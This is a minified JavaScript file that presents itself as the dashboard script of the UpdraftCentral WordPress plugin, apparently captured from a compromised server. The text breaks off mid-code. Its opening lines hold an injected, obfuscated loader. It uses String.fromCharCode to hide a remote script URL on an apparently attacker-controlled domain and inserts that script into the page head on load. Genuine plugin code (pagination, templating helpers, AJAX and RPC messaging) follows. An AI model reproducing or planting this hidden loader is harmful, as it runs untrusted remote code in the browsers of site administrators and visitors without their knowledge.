| Current File : /home/:/elitechc.bak/public_html/wp-content/plugins/updraftcentral/js/dashboard.min.js |
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();function UpdraftCentral_Paginator(e,t,r){var a=this,n=t.current_page,o=t.total_pages,i=r;function s(r){a.element.find(".page").each(function(e,t){jQuery(this).removeClass("page_active"),jQuery(this).attr("aria-selected",!1),jQuery(this).data("page")===r&&(jQuery(this).addClass("page_active"),jQuery(this).attr("aria-selected",!0))}),a.element.find(".page_prev").removeClass("disabled"),a.element.find(".page_next").removeClass("disabled"),1===r?a.element.find(".page_prev").addClass("disabled"):r===o&&a.element.find(".page_next").addClass("disabled"),a.element.trigger("page_change",n),jQuery.isFunction(i)&&i(n)}1<o&&(function(e){for(var t=[],r=1;r<=o;r++)t.push(r);a.element=jQuery(UpdraftCentral.template_replace("dashboard-paginator",{pages:t})),a.element.appendTo(e),a.element.on("click","a",function(e){var t;if(e.preventDefault(),!jQuery(this).hasClass("active"))if(jQuery(this).hasClass("page_prev"))1<n&&s(--n);else if(jQuery(this).hasClass("page_next"))n<o&&s(++n);else if(jQuery(this).hasClass("page")){var r=jQuery(this).data("page");(t=r)!==n&&s(n=t)}})}(e),s(n)),this.page_change=function(e){i=e}}jQuery(document).ready(function(e){(UpdraftCentral=UpdraftCentral()).init()}),function(e){"use strict";e.console=e.console||{};for(var t,r,a=e.console,n={},o=function(){},i="memory".split(","),s="assert,clear,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profiles,profileEnd,show,table,time,timeEnd,timeline,timelineEnd,timeStamp,trace,warn".split(",");t=i.pop();)a[t]||(a[t]=n);for(;r=s.pop();)"function"!=typeof a[r]&&(a[r]=o)}("undefined"==typeof window?this:window);var UpdraftCentral=function(){var l,m="undefined"!=typeof udclion&&udclion.hasOwnProperty("debug_level")?udclion.debug_level:0,e=0<m?5e3:1e4,a=670,g=(window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,jQuery),v=this;this.ajax_request_processing=!1,this.uc_action_triggered=!1,this.uc_action_data=[],this.event_trigger=new UpdraftCentral_Collection,this.uc_module,this.init=function(){UpdraftCentral.init_recorder(),UpdraftCentral.init_keyboard_shortcuts(),UpdraftCentral.init_process_listener(),UpdraftCentral.init_tooltip(),UpdraftCentral.storage_purge(),UpdraftCentral.set_requested_mode()},this.set_requested_mode=function(){var e=window.location.href,t=[],r="";if(-1!==e.indexOf("?")&&(t=e.slice(e.indexOf("?")+1).split("&")).length)for(var a=0,n="";a<t.length;a++)"uc_module"===(n=t[a].split("="))[0]&&n[1].length&&void 0!==(r=g("#updraft-menu-item-"+n[1]))&&r&&r.length&&(v.uc_module=n[1],g("#updraftcentral_dashboard_existingsites").on("updraftcentral_sites_loaded",function(e,t){set_dashboard_mode(t.module)}));void 0===v.uc_module&&(v.uc_module=!1)},this.init_tooltip=function(){var e=g("div#updraft-central-sidebar-button span.dashicons-arrow-left-alt2");e.data("animation",!1),e.tooltip({trigger:"hover",placement:"right",title:udclion.collapse_menu});var t=g("div#updraft-central-sidebar-button span.dashicons-arrow-right-alt2");t.data("animation",!1),t.tooltip({trigger:"hover",placement:"right",title:udclion.expand_menu})},this.get_wporg_metadata=function(r,a,n,o){var e=UpdraftCentral.storage_get("wporg_api_"+r+"_"+a,600);if(e&&e.hasOwnProperty("name"))o.call(this,e,n);else{var t="https://api.wordpress.org/plugins/info/1.1/";"theme"==r&&(t="https://api.wordpress.org/themes/info/1.1/");var i={short_description:!0,icons:!0};"theme"===r&&(i={description:!0,sections:!0,rating:!0,ratings:!0,downloaded:!0,downloadlink:!0,last_updated:!0,screenshot_url:!0,parent:!0}),jQuery.getJSON(t,{action:r+"_information",request:{slug:a,fields:i}},function(e,t){"success"==t&&(UpdraftCentral.storage_set("wporg_api_"+r+"_"+a,e,!0),o.call(this,e,n))})}},this.search_wporg=function(e,t,r,a,n){var o="https://api.wordpress.org/"+e+"s/info/1.1/",i={sections:!1,added:!1,tags:!1,compatibility:!1,donate_link:!1,icons:!0};"theme"===e&&(i={description:!0,sections:!1,rating:!0,ratings:!0,downloaded:!0,downloadlink:!0,last_updated:!0,screenshot_url:!0,parent:!0}),n=void 0!==n?n:10,a=void 0!==a?a:1,jQuery.getJSON(o,{action:"query_"+e+"s",request:{search:t,per_page:n,page:a,fields:i}},function(e,t){"success"==t&&r.call(this,e)})},this.save_timeout=function(e,t){var a=g.Deferred();return UpdraftCentral.send_ajax("save_timeout",{timeout:e},null,"via_mothership_encrypting",t,function(e,t,r){"ok"===t&&e.hasOwnProperty("message")&&("success"===e.message?a.resolve():a.reject())}),a.promise()},this.save_settings=function(e,t){var a=g.Deferred();return UpdraftCentral.send_ajax("save_settings",e,null,"via_mothership_encrypting",t,function(e,t,r){"ok"===t&&e.hasOwnProperty("message")&&("success"===e.message?a.resolve():a.reject())}),a.promise()},this.maybe_ask_credentials=function(e,r){var a=jQuery.Deferred(),n=new UpdraftCentral_Credentials,o=new UpdraftCentral_Site(e);return n.load_credentials(o).then(function(e){var t=e.request_filesystem_credentials;void 0!==t[r]&&t[r]?n.get_credentials(o).then(function(e){a.resolve({site:o,credentials_required:!0,credentials:e.site_credentials,store_credentials:e.save_credentials_in_browser})}).fail(function(e){a.reject(e)}):a.resolve({site:o,credentials_required:!1})}).fail(function(e){a.reject(e)}),a.promise()},this.is_plugin_active=function(e,t,r){var a=g.Deferred(),n={plugin:t};return void 0!==r&&r&&(n.slug=r),UpdraftCentral.send_site_rpc("plugin.is_plugin_installed",n,e,function(e,t,r){"ok"!==t||e.data.error?a.reject(e):a.resolve(e.data)}),a.promise()},this.activate_plugin=function(e,t,r){var a=g.Deferred(),n={plugin:t};return void 0!==r&&r&&(n.slug=r),UpdraftCentral.send_site_rpc("plugin.activate_plugin",n,e,function(e,t,r){"ok"!==t||e.data.error?a.reject(e):a.resolve(e.data)}),a.promise()},this.install_activate_plugin=function(r,a,n){var o=g.Deferred();return UpdraftCentral.maybe_ask_credentials(r,"plugins").then(function(e){e.credentials_required&&e.store_credentials&&UpdraftCentral.storage_set("filesystem_credentials_"+e.site.site_hash,e.credentials,!0);var t={plugin:a,slug:n,filesystem_credentials:e.credentials};UpdraftCentral.send_site_rpc("plugin.install_activate_plugin",t,r,function(e,t,r){"ok"!==t||e.data.error?o.reject(e):o.resolve(e.data)})}).fail(function(e){o.reject(e)}),o.promise()},this.init_process_listener=function(){g(document).ajaxStop(function(){0===g.active&&(v.ajax_request_processing=!1,v.uc_action_data=[],v.event_trigger.clear(),0<m&&console.log("init_process_listener (ajaxStop): ajax_request_processing=false, uc_action_data=[], event_trigger=cleared; (reset flag/vars for in-progress blocking)."))}),g(document).ajaxSend(function(e,t,r){v.ajax_request_processing=!0,0<m&&console.log("init_process_listener (ajaxSend): ajax_request_processing=true; (setting flag for in-progress blocking).")}),g("#updraftcentral_dashboard").on("updraftcentral_dialog_opened",function(e){if(g.fullscreen.isFullScreen()){var t=g("#updraftcentral_dashboard.updraft-fullscreen");0===t.find("div.modal-backdrop").length&&g(document.body).find(".modal-backdrop.show").appendTo(t)}}),g("#updraftcentral_dashboard").on("updraftcentral_dialog_closed",function(e){if(g.fullscreen.isFullScreen()){var t=g("#updraftcentral_dashboard.updraft-fullscreen div.bootbox.modal.show"),r=g("#updraftcentral_dashboard.updraft-fullscreen #updraftcentral_modal_dialog.modal.show");if(0===t.length&&0===r.length){var a=g("#updraftcentral_dashboard.updraft-fullscreen div.modal-backdrop.show");a.length&&a.remove()}}}),g(window).resize(function(){if(Math.max(document.documentElement.clientWidth,window.innerWidth||0)<=a){var e=g("#updraft-central-navigation-sidebar").css("width");0<=g("#updraft-central-navigation-sidebar").position().left&&g("#updraft-mobile-menu").trigger("click"),"60px"===e&&g("#updraft-central-sidebar-button").trigger("click"),g("#updraft-central-navigation-sidebar").hasClass("active")&&g("#updraft-central-content").prepend('<div class="mobile-menu-backdrop"></div>'),g("#updraftcentral_dashboard").on("click",function(e){"updraft-central-navigation-sidebar"===g(e.target).attr("id")||g(e.target).hasClass("updraft-mobile-menu")||g("#updraft-central-navigation-sidebar").hasClass("active")&&(g("#updraft-central-navigation-sidebar").toggleClass("active"),g("#updraft-central-content > .mobile-menu-backdrop").remove())})}else g("#updraft-central-navigation-sidebar").removeClass("active"),g("#updraft-central-content > .mobile-menu-backdrop").remove()}),g(window).trigger("resize")},this.save_shortcut=function(e,t){var a=g.Deferred();return UpdraftCentral.send_ajax("shortcuts",{name:e,key:t},null,"via_mothership_encrypting",null,function(e,t,r){"ok"===t&&e.hasOwnProperty("message")&&("success"===e.message?a.resolve():a.reject())}),a.promise()},this.load_shortcuts=function(){var a=g.Deferred();return UpdraftCentral.send_ajax("shortcuts",{},null,"via_mothership_encrypting",null,function(e,t,r){"ok"===t&&e.hasOwnProperty("shortcuts")&&a.resolve(e.shortcuts)}),a.promise()},this.site_order=function(){g("#updraftcentral_dashboard_existingsites").sortable({axis:"y",start:function(e,t){g(".updraft_site_actions").removeClass("open")},stop:function(e,t){site_order_array=g(this).sortable("toArray",{attribute:"data-site_id"}),UpdraftCentral.send_ajax("manage_site_order",{site_order:site_order_array},null,"via_mothership_encrypting",null,function(e,t,r){"ok"==t?e.hasOwnProperty("message")&&"fail"===e.message&&UpdraftCentral_Library.dialog.alert(udclion.error_saving_site_order):(console.log("Expected site order data not found:"),console.log(e))})}})},this.site_order(),Handlebars.registerHelper("timeago",function(e,t){return void 0===e||void 0===t?"":("string"!=typeof t&&(t="YYYY-MM-DD h:mma"),new Handlebars.SafeString(moment(e,t).fromNow()))}),Handlebars.registerHelper("shorten",function(e){if(void 0===e)return"";var t=e.split("."),r=t[0];return r.length<150&&void 0!==t[1]&&(r+=". "+t[1]),new Handlebars.SafeString(r+".")}),Handlebars.registerHelper("normalize",function(e){return void 0===e?"":(e=e.replace(/&#(\d+);/g,function(e,t){return String.fromCharCode(t)}).replace(/&/g,"&"),new Handlebars.SafeString(e))}),Handlebars.registerHelper("toLocale",function(e){return void 0===e?"":new Handlebars.SafeString(e.toLocaleString())}),Handlebars.registerHelper("render_star",function(e,t){if(void 0===e||void 0===t)return"";for(var r=((e=parseInt(e))/20).toString().split("."),a=parseInt(r[0]),n=void 0!==r[1]?parseInt(r[1]):0,o="",i=!1,s=1;s<=5;s++)s<=a?o+='<span class="dashicons dashicons-star-filled"></span>':0===n||i?o+='<span class="dashicons dashicons-star-empty"></span>':(o+=8<=n?'<span class="dashicons dashicons-star-filled"></span>':n<=3?'<span class="dashicons dashicons-star-empty"></span>':'<span class="dashicons dashicons-star-half"></span>',i=!0);return new Handlebars.SafeString(o+" ("+t.toLocaleString()+")")}),Handlebars.registerHelper("strip_tags",function(e){if(void 0===e||"string"!=typeof e)return"";var t=document.createElement("DIV");return t.innerHTML=e,new Handlebars.SafeString(t.innerText)}),Handlebars.registerHelper("sprintf",function(){var e="";if("function"==typeof sprintf&&void 0!==arguments){var t=[].slice.call(arguments);e=sprintf.apply(null,t)}return new Handlebars.SafeString(e)}),Handlebars.registerHelper("ifeq",function(e,t,r){return"string"!=typeof e&&null!=e&&(e=e.toString()),"string"!=typeof t&&null!=t&&(t=t.toString()),e===t?r.fn(this):r.inverse(this)}),Handlebars.registerHelper("ifneq",function(e,t,r){return"string"!=typeof e&&(e=e.toString()),"string"!=typeof t&&(t=t.toString()),e!==t?r.fn(this):r.inverse(this)}),Handlebars.registerHelper("ifset",function(e,t,r){return"string"!=typeof e&&(e=e.toString()),"string"!=typeof t&&(t=t.toString()),e===t?new Handlebars.SafeString(r+'="'+r+'"'):""}),Handlebars.registerHelper("ifempty",function(e,t){return void 0!==e&&e&&e.length?"":new Handlebars.SafeString(t)}),this.set_current_site_row=function(e){UpdraftCentral.$site_row=e},this.register_event_handler=function(e,t,r){jQuery(document).off(e,t).on(e,t,function(e){if(!v.check_processing_state(e)){var t=[];void 0!==r.arguments&&r.arguments&&r.arguments.length&&(t=r.arguments),r.apply(this,t)}})},this.set_loading=function(e){e.css("opacity","0.3"),UpdraftCentral_Library.disable_actions(),g(".updraftcentral_spinner").not(":visible")&&(g(".injected-spinner.updraftcentral_spinner").length||g("#updraftcentral_dashboard").append('<div class="injected-spinner updraftcentral_spinner"></div>'))},this.done_loading=function(e,t){var r=jQuery.Deferred();return e.css("opacity","1.0"),g(".injected-spinner.updraftcentral_spinner").length&&g(".injected-spinner.updraftcentral_spinner").remove(),UpdraftCentral_Library.enable_actions(),t?e.slideUp(500,function(){e.html(t),r.resolve()}).slideDown(500):r.resolve(),r.promise()},this.set_debug_level=function(e){m=e},this.get_debug_level=function(){return parseInt(m)},this.initiate_modal_close_listener=function(e){g('.modal-dialog button[data-dismiss="modal"]').on("click",function(){"function"==typeof e&&e&&(e.apply(null,[]),g('.modal-dialog button[data-dismiss="modal"]').off("click")),g("#updraftcentral_dashboard").trigger("updraftcentral_dialog_closed")})},this.open_modal=function(e,t,r,a,n,o,i,s,d){a=void 0!==a?a:udclion.go,o=void 0===o||o,i=void 0!==i?i:"",g("#updraftcentral_modal_dialog .modal-dialog").removeClass().addClass("modal-dialog "+i),g("#updraftcentral_modal_dialog .modal-title").html(e),o&&(t=UpdraftCentral_Library.sanitize_html(t)),g("#updraftcentral_modal_dialog .modal-body").html(t),!1===a?g("#updraftcentral_modal_dialog button.updraft_modal_button_goahead").hide():g("#updraftcentral_modal_dialog button.updraft_modal_button_goahead").html(a).show(),l=r,null!=n&&n.call(this),UpdraftCentral.initiate_modal_close_listener(s),g("#updraftcentral_modal_dialog").modal(),g("#updraftcentral_modal_dialog #updraftcentral_addsite_tabs").length&&g("#updraftcentral_addsite_tabs").tabs().addClass("ui-tabs-vertical ui-helper-clearfix"),g("#updraftcentral_dashboard").trigger("updraftcentral_dialog_opened"),null!=d&&d.call(this)},this.get_site_heading=function(e){var t=e.data("site_description"),r=e.data("site_url");return t==r&&(t=""),t?'<a href="'+r+'">'+t+"</a>":'<a href="'+r+'">'+r+"</a>"},this.close_modal=function(){g("#updraftcentral_modal_dialog").modal("hide"),g("#updraftcentral_dashboard").trigger("updraftcentral_dialog_closed")},this.register_row_clicker=function(a,n,o,i){i=void 0!==i?i:"click",o=void 0!==o&&o,params={},g("#updraftcentral_dashboard_existingsites_container").on(i,".updraftcentral_site_row "+a,params,function(e){var t=UpdraftCentral_Library.md5("_key_"+g(this).get(0).className+"_"+a);if(!(v.event_trigger.exists(t)&&0!==g.active||".btn-group > button"!==a&&v.check_processing_state(e))){v.event_trigger.add(t,1),"keypress"!=i&&e.preventDefault(),UpdraftCentral.$site_row=g(this).closest(".updraftcentral_site_row");var r=UpdraftCentral.$site_row.data("site_id");o&&(g('#updraftcentral_dashboard_existingsites .updraftcentral_site_row:not([data-site_id="'+r+'"]), #updraftcentral_dashboard_existingsites .updraftcentral_row_divider').slideUp(),g(".updraftcentral_mode_actions .updraftcentral_action_choose_another_site").show(),g("#updraftcentral_dashboard_existingsites").sortable("disable"),g("#updraftcentral-search-area").hide(),UpdraftCentral.$site_row.addClass("sortable-is-disabled")),n.call(this,UpdraftCentral.$site_row,r,e)}})};var n=this.register_row_clicker;this.register_modal_listener=function(e,t,r){r=void 0!==r?r:"click",params={},g("#updraftcentral_modal").on(r,e,params,function(e){t.call(this,e)})},g("#updraftcentral_modal_dialog button.updraft_modal_button_goahead").click(function(){!0===l?this.close_modal():l.call(this)});var s={};this.register_listener_processor=function(e,t){s[e]=t},setInterval(function(){g("#updraftcentral_notice_container .updraftcentral_listener").each(function(e){var a=g(this).data("site_id"),t=g(this).data("type"),n=this,o=g('#updraftcentral_dashboard_existingsites .updraftcentral_site_row[data-site_id="'+a+'"');if(!g(this).data("finished"))if(1<m&&console.log("poll_listeners(): site_id="+a+", listener_type="+t),0<o.length&&s.hasOwnProperty(t)){var r=s[t].call(this,n,o,a);if(0===r)g(this).data("finished",!0),g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_listener_finished_"+t,{site_id:a,site_row:o,listener_row:n,listener_type:t}),g(n).clearQueue().delay(1e4).slideUp("slow",function(){g(this).remove()});else if(1===r)g(this).data("finished",!0),g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_listener_finished_"+t,{site_id:a,site_row:o,listener_row:n,listener_type:t});else if(null!=r&&r.hasOwnProperty("call")){var i=r.call;UpdraftCentral.send_site_rpc(r.call,r.data,o,function(e,t,r){"ok"==t&&!1!==e&&e.hasOwnProperty("data")&&(s.hasOwnProperty(i)?s[i].call(this,n,o,a,e.data):(console.log("UpdraftCentral: listener type "+i+" has no registered processor (dump of all registered processors follows)"),console.log(s)))})}}else 0<o.length?(console.log("UpdraftCentral: listener type "+t+" has no registered processor (dump of all registered processors follows)"),console.log(s)):console.log("UpdraftCentral: listener for site_id="+a+" with type "+t+": site row not found")})},e);var h=[];function b(e,t){var r=e.data("site_remote_public_key"),a=e.data("site_local_private_key"),n=this.get_contact_url(e),o=e.data("site_id"),i=e.data("key_name_indicator"),s=e.data("remote_user_id");(void 0===t||"direct_manual_auth"!=t&&"via_mothership"!=t&&"via_mothership_encrypting"!=t&&"direct_jquery_auth"!=t)&&(t="direct_default_auth"),"via_mothership_encrypting"==t&&(console.warn("UpdraftCentral: A site ("+o+", "+n+") routed via_mothership_encrypting was passed into get_site_udrpc"),console.log(e));var d=!1;if("direct_default_auth"==t){navigator.userAgent.toLowerCase().indexOf("firefox");connection_method="direct_jquery_auth"}else connection_method=t,"via_mothership"==connection_method&&(d={action:"updraftcentral_dashboard_ajax",subaction:"site_rpc",component:"dashboard",nonce:udclion.updraftcentral_dashboard_nonce,site_id:o,site_rpc_preencrypted:1});var l=e.data("send_cors_headers");void 0===l&&(l=1);var c="direct_manual_auth"==connection_method?"manual":"jquery",_={},u=n;if("via_mothership_encrypting"!=connection_method&&"via_mothership"!=connection_method){var p=e.data("http_username");if(void 0!==p&&p){_.username=p;var f=e.data("http_password");void 0!==f&&(_.password=f)}}else u=udclion.ajaxurl;return 0<m&&(console.log("UDRPC communications method: site_id="+o+", name_indicator="+i+", site_url="+n+", comms_url="+u+", remote_user_id="+s+", connection_method="+t+"/"+connection_method+", send_cors_headers="+l),1<m&&(console.log("Remote public key follows"),console.log(r))),function(e,t,r,a,n,o,i,s,d){if(void 0!==h[e])l=h[e];else{o=void 0===o||o;var l=new UpdraftPlus_Remote_Communications(t);l.set_key_local(a),l.set_key_remote(r),l.activate_replay_protection();/\/admin-ajax.php$/.test(n)&&(n+="?action=updraft_central"),l.set_destination_url(n),void 0!==i&&l.set_http_credentials(i),void 0!==s&&l.set_auth_method(s),void 0!==d&&!1!==d&&(l.set_message_wrapper(d),l.set_message_unwrapper(function(e){var t=w(e,2,!1);if(!0===t){if(e.hasOwnProperty("wrapped_response"))return e.wrapped_response;t="wrapped_response_not_found"}return console.error("UDRPC: Attempt to unwrap the message failed (code: "+t+")"),1<m&&console.log(e),!1})),l.set_cors_headers_wanted(o),h[e]=l}if(0<m){var c=2<m?2:1;l.set_debug_level(c)}return l}(o+" "+connection_method,i,r,a,u,l,_,c,d)}function y(e,t,r,a,n,o,i){var s=void 0!==i&&i&&i.length?i.data("site_description")+" - ":"";if(o=void 0===o||o,"error"==t?(console.error("process_ajax_response: return code: "+t+", error_code: "+r+" - parsed response follows"),console.log(e)):0<m&&(console.log("process_ajax_response: return code: "+t+" - parsed response follows"),console.log(e)),a&&"ok"==t&&e.hasOwnProperty("response")&&"rpcerror"==e.response&&(t="error",r="rpc_unknown_error",e.hasOwnProperty("data")&&e.data.hasOwnProperty("code"))){if(r=e.data.code,console.error("UpdraftCentral: RPC: Error occurred ("+r+" - "+i.data("site_description")+"); data follows"),console.log(e.data),e=e.data.data,!0!==n.call(this,e,t,r)){var d=udclion.js_exception_occurred+" ("+r+")";udclion.rpcerrors.hasOwnProperty(r)&&(d=udclion.rpcerrors[r]),o&&UpdraftCentral_Library.dialog.alert("<h2>"+s+udclion.communications_error+"</h2>"+d)}}else{if("error"==t){var l=udclion.general_js_comms_failure,c=!0,_=udclion.error;2==a&&"unwrapper_failure"==r&&e.hasOwnProperty("code")&&(r=e.code),"json_parse_fail"==r?-1<e.indexOf("<html")&&(console.error("UpdraftCentral: JSON parse fail: looks like html was returned - remote plugin is probably not installed/inactive/blocked"),l=udclion.general_js_comms_failure,_=udclion.communications_error):"response_empty"==r||"http_post_fail"==r?(l=udclion.general_js_comms_failure,_=udclion.communications_error):"timeout"==r?(l=udclion.comms_failure_timeout,_=udclion.communications_error+" - "+udclion.timeout):"unauthorized"==r?(l=udclion.comms_failure_unauthorised,_=udclion.communications_error):"unknown_response"==r?(l=udclion.unknown_response,_=udclion.communications_error):"cannot_contact_localdev"==r?(_=udclion.communications_error,l=e.message,e.hasOwnProperty("request_info")&&e.request_info.hasOwnProperty("method")&&e.request_info.hasOwnProperty("use_method")&&e.request_info.method!=e.request_info.use_method&&(l+="<br>"+udclion.localdev_can_work_better_with_https)):"unexpected_http_code"==r&&a&&e.hasOwnProperty("data")&&null!==e.data&&e.data.hasOwnProperty("headers")&&e.data.headers.hasOwnProperty("www-authenticate")&&0==e.data.headers["www-authenticate"].search(/Digest/i)?(l=e.message,l+="<br>"+udclion.digest_auth_not_supported):"unexpected_http_code"==r&&a&&e.hasOwnProperty("data")&&null!==e.data&&e.data.hasOwnProperty("response")&&e.data.response.hasOwnProperty("code")&&401==e.data.response.code?l=udclion.comms_failure_unauthorised+' <a href="#" class="updraftcentral_site_editdescription">'+udclion.open_site_configuration+"...</a>":e.hasOwnProperty("message")?(l=e.message,a||(c=!1)):(c=!1,l+="<br>"+udclion.error_code+": "+r),e.hasOwnProperty("status")&&401==e.status?l=udclion.comms_failure_unauthorised+' <a href="#" class="updraftcentral_site_editdescription">'+udclion.open_site_configuration+"...</a>":"ns_error_dom_bad_uri: access to restricted uri denied"==r&&(l=udclion.comms_failure_unauthorised_by_browser+' <a href="#" class="updraftcentral_site_editdescription">'+udclion.open_site_configuration+"...</a>"),l="<p>"+l+"</p>",c&&(l+='<p><a href="'+udclion.common_urls.connection_checklist+'">'+udclion.go_here_for_connection_help+"</a></p>",l+='<p><a href="#" class="updraftcentral_test_other_connection_methods">'+udclion.test_other_connection_methods+"</a></p>"),e.hasOwnProperty("status")&&200!=e.status&&0!=e.status&&(l+="<p>"+udclion.http_response_status+": "+e.status+"</p>"),g("#updraftcentral_dashboard").trigger("updraftcentral_response_error",{code:t,message:l,title:_}),o&&UpdraftCentral_Library.dialog.alert("<h2>"+s+_+"</h2>"+l)}a&&e.hasOwnProperty("data")&&null!=e.data&&(e.data.hasOwnProperty("php_events")&&g.each(e.data.php_events,function(e,t){console.log("UpdraftCentral: PHP event on remote side: "+t)}),e.data.hasOwnProperty("caught_output")&&console.log("UpdraftCentral: direct output on remote side: "+e.data.caught_output),(e.data.hasOwnProperty("php_events")||e.data.hasOwnProperty("caught_output"))&&(e.data=e.data.previous_data)),n.call(this,e,t,r)}}function w(e,t,r,a,n){return a=void 0===a||a,e.hasOwnProperty("responsetype")&&"error"==e.responsetype?(e.hasOwnProperty("message")&&console.error("UpdraftCentral error via AJAX: "+e.message),"cannot_contact_localdev"==e.code&&(e.request_info={method:method,use_method:use_method}),!1!==r&&y(e,"error",e.code,t,r,a,n),e.code):e.hasOwnProperty("message")||e.hasOwnProperty("code")?(1<m&&console.log(e.responsetype+": "+e.message),t&&(e.hasOwnProperty("php_events")&&g.each(e.php_events,function(e,t){console.info("UpdraftCentral: PHP event on remote side: "+t)}),e.hasOwnProperty("mothership_caught_output")&&console.info("UpdraftCentral: direct output on remote side: "+e.caught_output),e.hasOwnProperty("rpc_response")&&(e=e.rpc_response)),!1!==r&&y(e,"ok",null,t,r,a,n),!0):(console.log(e),!1!==r&&y(e,"error","unknown_response",t,r,a,n),"unknown_response")}function c(){var e=g("#updraftcentral_dashboard_existingsites .updraftcentral_site_row:not(.updraft_site_unlicensed)").length;g("#updraftcentral_licences_in_use").html(e)}function _(e){if(e.hasOwnProperty("how_many_licences_in_use")&&g(".updraftcentral_licences_in_use").html(e.how_many_licences_in_use),e.hasOwnProperty("how_many_licences_available")){var t=e.how_many_licences_available<0?"∞":e.how_many_licences_available;g(".updraftcentral_licences_total").html(t)}}function o(e,t){if(void 0!==e&&null!==e.match(/https?:\/\/updraft(plus|central)\.com/)){void 0!==t&&t.preventDefault();var r=window.open(e,"_blank");UpdraftCentral_Library.focus_window_or_error(r)}}this.get_contact_url=function(e){return e.data("admin_url").replace(/\/+$/,"")+"/admin-ajax.php"},this.send_ajax=function(e,t,n,r,o,i,a,s){var d=void 0!==n&&n&&n.length?n.data("site_description")+" - ":"";r=void 0!==r?r:"direct_default_auth",a=void 0!==a?a:30,void 0!==udclion.user_defined_timeout&&udclion.user_defined_timeout&&(a=udclion.user_defined_timeout),o=void 0!==o?o:null,s=void 0===s||s;var l="via_mothership"==r||"via_mothership_encrypting"==r?"via_mothership"==r?"server_proxies":"server":"direct",c=null!==n;if(c){var _=n.data("site_unlicensed");if(void 0!==_&&_)return void UpdraftCentral_Library.dialog.alert("<h2>"+d+udclion.error+"</h2>"+udclion.site_unlicensed_message)}o&&(g(".updraftcentral_spinner").is(":visible")||g(o).prepend('<div class="updraftcentral_spinner"></div>')),"direct"!=l||"https:"!=document.location.protocol||"http:"==this.get_contact_url(n).substring(0,5).toLowerCase()&&(l="server");if(0<m&&(console.log("send_message(ajax_method="+l+", requested_method="+r+", command="+e+", data(follows))"),console.log(t)),v.uc_action_data.push({command:e,data:t,website:d,connection_method:r}),"direct"==l||"server_proxies"==l){if(!c)throw"send_ajax() called with direct method ("+r+"), but no site row object passed in";b(n,r).send_message(e,t,a,function(e,t,r){o&&(g(o).removeClass("updraftcentral_spinner"),g(o).children(".updraftcentral_spinner").remove()),2<m&&(console.log("Raw response, pre-processing, follows"),console.log(e));var a="server_proxies"==l?2:1;try{y(e,t,r,a,i,s,n)}catch(e){UpdraftCentral_Library.dialog.alert("<h2>"+d+udclion.error+"</h2>"+udclion.js_exception_occurred+"<br>"+e.toString()),console.log(e)}})}else{var u=0;null!==n&&(u=n.data("site_id"));var p=c?"site_rpc":e,f=c?{command:e,data:t}:t,h={type:"POST",url:udclion.ajaxurl,timeout:1e3*a,headers:{"X-Secondary-User-Agent":"UpdraftCentral-dashboard.js/"+udclion.udc_version},data:{action:"updraftcentral_dashboard_ajax",subaction:p,component:"dashboard",nonce:udclion.updraftcentral_dashboard_nonce,site_id:u,data:f},dataType:"text",success:function(t){if(o&&g(o).children(".updraftcentral_spinner").remove(),void 0===t||""===t)return console.log("UDRPC: the response from the remote site was empty"),void y(t,"error","response_empty",c,i,s,n);try{var r=JSON.parse(t)}catch(e){var a=t.match(/\{"format":.*}/);if(null===a)return console.log(e),console.log(t),void y(t,"error","json_parse_fail",c,i,s,n);t=a[0];try{r=JSON.parse(t);console.log("UpdraftCentral: successfully parsed JSON after removing unwanted elements"),console.log(t)}catch(e){return console.log(e),console.log(t),void y(t,"error","json_parse_fail",c,i,s,n)}}w(t=r,c,i,s,n)},error:function(e,t,r){if(o&&g(o).children(".updraftcentral_spinner").remove(),console.error("UpdraftCentral: Error in AJAX operation"),console.log(e),console.log(t),console.error(r),""==r&&(r="http_post_fail"),r.hasOwnProperty("statusText")&&(r=r.statusText.toString()),"function"==typeof r.toLowerCase)r=r.toLowerCase();else try{var a=r.toString().toLowerCase();a&&(r=a)}catch(e){}y(e,"error",r,c,i,s,n)}};1<m&&(console.log("UpdraftCentral: jQuery POST: options follow:"),console.log(h)),jQuery.ajax(h)}},g(window).resize(function(){var e=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth;a<e&&g("#updraftcentral_dashboard #updraft-central-navigation-sidebar").show()}),g("#updraftcentral_dashboard .updraft-mobile-menu").on("click",function(){(window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth)<=a&&(g("#updraft-central-navigation-sidebar").toggleClass("active"),g("#updraft-central-navigation-sidebar").hasClass("active")?g("#updraft-central-content").prepend('<div class="mobile-menu-backdrop"></div>'):g("#updraft-central-content > .mobile-menu-backdrop").remove())}),this.set_existing_sites_to=function(e){var t=setInterval(function(){0===g.active&&(clearInterval(t),h=[],g("#updraftcentral_dashboard_existingsites").html(e),UpdraftCentral.set_dashboard_mode(!0,!0),c())},500)},this.add_dashboard_notice_singleton=function(e,t,r,a,n){return t=void 0===t?"notice":t,r=void 0===r?3e4:r,n=void 0===n?"":n,(a="undefined"==typeof extradata?{}:extradata).identifier=n,0===g('#updraftcentral_notice_container .updraftcentral_notice[data-identifier="'+n+'"]').length&&this.add_dashboard_notice(e,t,r,a)},this.add_dashboard_notice=function(e,t,r,a){r=void 0!==r?r:3e4,a=void 0!==a?a:{};var n="";"listener_"==(t=void 0!==t?t:"notice").substr(0,9)&&(n="updraftcentral_listener updraftcentral_listener_"+t.substr(9),a.type=t.substr(9),t="info"),$container=g("#updraftcentral_notice_container");var o='<div class="updraftcentral_notice updraftcentral_notice_new updraftcentral_notice_level_'+t+" "+n+'"';g.each(a,function(e,t){o+="data-"+e+'="'+UpdraftCentral_Library.quote_attribute(t)+'"'});var i=g(o+'><button type="button" 